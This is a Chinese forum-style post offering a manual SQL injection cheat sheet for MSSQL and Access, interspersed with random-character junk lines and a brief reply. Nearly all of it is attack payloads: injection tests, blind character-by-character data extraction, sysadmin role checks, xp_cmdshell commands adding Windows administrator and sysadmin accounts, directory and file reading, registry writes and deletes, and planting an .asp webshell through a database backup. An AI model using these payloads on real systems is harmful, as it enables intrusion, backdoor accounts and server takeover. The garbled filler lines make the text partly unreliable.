手工脚本注入

admin

手工脚本注入
1 t- a- o# M- q; t5 [1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
6 }0 c* e5 D3 N
3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
- N' \. ~4 ^1 c" D4 c1 c;and (select count(*) from sysobjects)>0 mssql
% ~1 ^5 X( ^  T( w: Z6 w;and (select count(*) from msysobjects)>0 access
" Y! }- r$ z/ l) [% Q( I, I/ ~
6.猜数据库 ;and (select Count(*) from [数据库名])>0

6 P! }) Y7 D) r. w9 T6 T$ W7.猜字段 ;and (select Count(字段名) from 数据库名)>0
4 I0 d% S9 v5 S+ G
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
" U& U8 U7 `* u" |& Q1 w/ h0 j! @
(2)猜字段的ascii值（mssql）
3 x, g7 N- T, R8 L- T;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
! T+ ~1 `2 @. S; W1 T! N% A
10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ S6 F6 D" z' g8 s;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 C0 ?7 b4 H6 F- F  U3 ]5 @! T- j;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# J9 b2 \' H" G1 _;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
) J( h: P5 N% O9 [2 K: Z/ `/ c( k
6 x4 D- E# V$ ^4 Z+ N# b11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
/ z7 y( ]  X" \6 S
% W/ R, p1 @1 G3 w+ a. l6 o* b;exec master.dbo.sp_password null,username,password;--

: n+ ~& m  e6 Y1 }' S& C;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 H. ^/ |) v9 C6 i7 v
12.(1)遍历目录
* u. s) @; o! w7 Y% ]
;create table dirs(paths varchar(100), id int)
; [; r: u9 j9 K7 s3 R( J;insert dirs exec master.dbo.xp_dirtree 'c:\'
% r" {$ }- I7 J" B+ L- {% `;and (select top 1 paths from dirs)>0
' }) C* y. ]0 ~# t0 \7 \( [;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

8 S  R8 h5 V6 [% F2 a- k(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ m+ M" y% |: M3 t3 W
xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

6 H0 C( `6 x, e5 k) Axp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
! k$ w0 W( z( @" R! w( \
/ G9 n, }5 u7 A/ ^: Fxp_regdeletevalue 根键,子键,值名
5 e9 D& V# D1 K# a! X
& h% Y0 ]9 H6 L; V+ Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
: J* i0 @% e% f6 M3 \
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
2 ^, w0 S8 l- @7 F5 v5 ocreate table cmd(str image);
5 S6 ~4 p( A+ U' m7 S- r* Xinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

" J; J1 H/ d1 V3 t& O* C" H15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
  ~/ U7 F* {- E6 b- `. F;and (select user_name())>0 爆当前系统的连接用户
6 ]- l* L! K9 I4 l& ?6 g;and (select db_name())>0 得到当前连接的数据库
3 ^8 \) _& M! _) t1 {/ r
16.简洁的webshell
/ b* E$ C& P* A# R' [) @
6 f. @1 I% y1 E; {7 ^% t: ruse model
4 ?* Y9 }$ `7 M. a" F* X
7 q6 A; L6 ~3 X; a( screate table cmd(str image);
) Y3 o' |* X' Q& l0 r
+ v" Y$ V& p' z  ?insert into cmd(str) values ('');

9 G$ r8 @  F" S- g7 Y  |backup database model to disk='g:\wwwtest\l.asp';
2 N9 `9 Y9 [  b1 F6 `, b$ H/ q# B
$ v' Y; T+ ^& x- ]1 m: V8 r: e+ _% o

老男孩

现在很多防注入啊，有其他注入字符码